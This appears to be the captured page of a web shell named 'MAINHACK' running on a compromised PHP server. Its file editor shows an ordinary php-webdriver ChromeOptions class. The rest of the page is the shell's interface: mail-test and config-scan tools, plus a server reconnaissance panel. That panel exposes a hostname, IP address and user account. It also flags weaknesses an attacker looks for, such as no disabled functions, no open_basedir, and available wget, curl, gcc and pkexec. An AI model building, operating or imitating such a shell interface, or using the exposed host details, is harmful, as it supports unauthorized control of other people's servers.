[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ChromeOptions.php
<?php namespace Facebook\WebDriver\Chrome; use Facebook\WebDriver\Remote\DesiredCapabilities; use JsonSerializable; use ReturnTypeWillChange; /** * The class manages the capabilities in ChromeDriver. * * @see https://sites.google.com/a/chromium.org/chromedriver/capabilities */ class ChromeOptions implements JsonSerializable { /** * The key of chromeOptions in desired capabilities (in legacy OSS JsonWire protocol) * @todo Replace value with 'goog:chromeOptions' after JsonWire protocol support is removed */ public const CAPABILITY = 'chromeOptions'; /** * The key of chromeOptions in desired capabilities (in W3C compatible protocol) */ public const CAPABILITY_W3C = 'goog:chromeOptions'; /** * @var array */ private $arguments = []; /** * @var string */ private $binary = ''; /** * @var array */ private $extensions = []; /** * @var array */ private $experimentalOptions = []; /** * Return a version of the class which can JSON serialized. * * @return array */ #[ReturnTypeWillChange] public function jsonSerialize() { return $this->toArray(); } /** * Sets the path of the Chrome executable. The path should be either absolute * or relative to the location running ChromeDriver server. * * @param string $path * @return ChromeOptions */ public function setBinary($path) { $this->binary = $path; return $this; } /** * @return ChromeOptions */ public function addArguments(array $arguments) { $this->arguments = array_merge($this->arguments, $arguments); return $this; } /** * Add a Chrome extension to install on browser startup. Each path should be * a packed Chrome extension. * * @return ChromeOptions */ public function addExtensions(array $paths) { foreach ($paths as $path) { $this->addExtension($path); } return $this; } /** * @param array $encoded_extensions An array of base64 encoded of the extensions. * @return ChromeOptions */ public function addEncodedExtensions(array $encoded_extensions) { foreach ($encoded_extensions as $encoded_extension) { $this->addEncodedExtension($encoded_extension); } return $this; } /** * Sets an experimental option which has not exposed officially. * * When using "prefs" to set Chrome preferences, please be aware they are so far not supported by * Chrome running in headless mode, see https://bugs.chromium.org/p/chromium/issues/detail?id=775911 * * @param string $name * @param mixed $value * @return ChromeOptions */ public function setExperimentalOption($name, $value) { $this->experimentalOptions[$name] = $value; return $this; } /** * @return DesiredCapabilities The DesiredCapabilities for Chrome with this options. */ public function toCapabilities() { $capabilities = DesiredCapabilities::chrome(); $capabilities->setCapability(self::CAPABILITY, $this); return $capabilities; } /** * @return \ArrayObject|array */ public function toArray() { // The selenium server expects a 'dictionary' instead of a 'list' when // reading the chrome option. However, an empty array in PHP will be // converted to a 'list' instead of a 'dictionary'. To fix it, we work // with `ArrayObject` $options = new \ArrayObject($this->experimentalOptions); if (!empty($this->binary)) { $options['binary'] = $this->binary; } if (!empty($this->arguments)) { $options['args'] = $this->arguments; } if (!empty($this->extensions)) { $options['extensions'] = $this->extensions; } return $options; } /** * Add a Chrome extension to install on browser startup. Each path should be a * packed Chrome extension. * * @param string $path * @return ChromeOptions */ private function addExtension($path) { $this->addEncodedExtension(base64_encode(file_get_contents($path))); return $this; } /** * @param string $encoded_extension Base64 encoded of the extension. * @return ChromeOptions */ private function addEncodedExtension($encoded_extension) { $this->extensions[] = $encoded_extension; return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002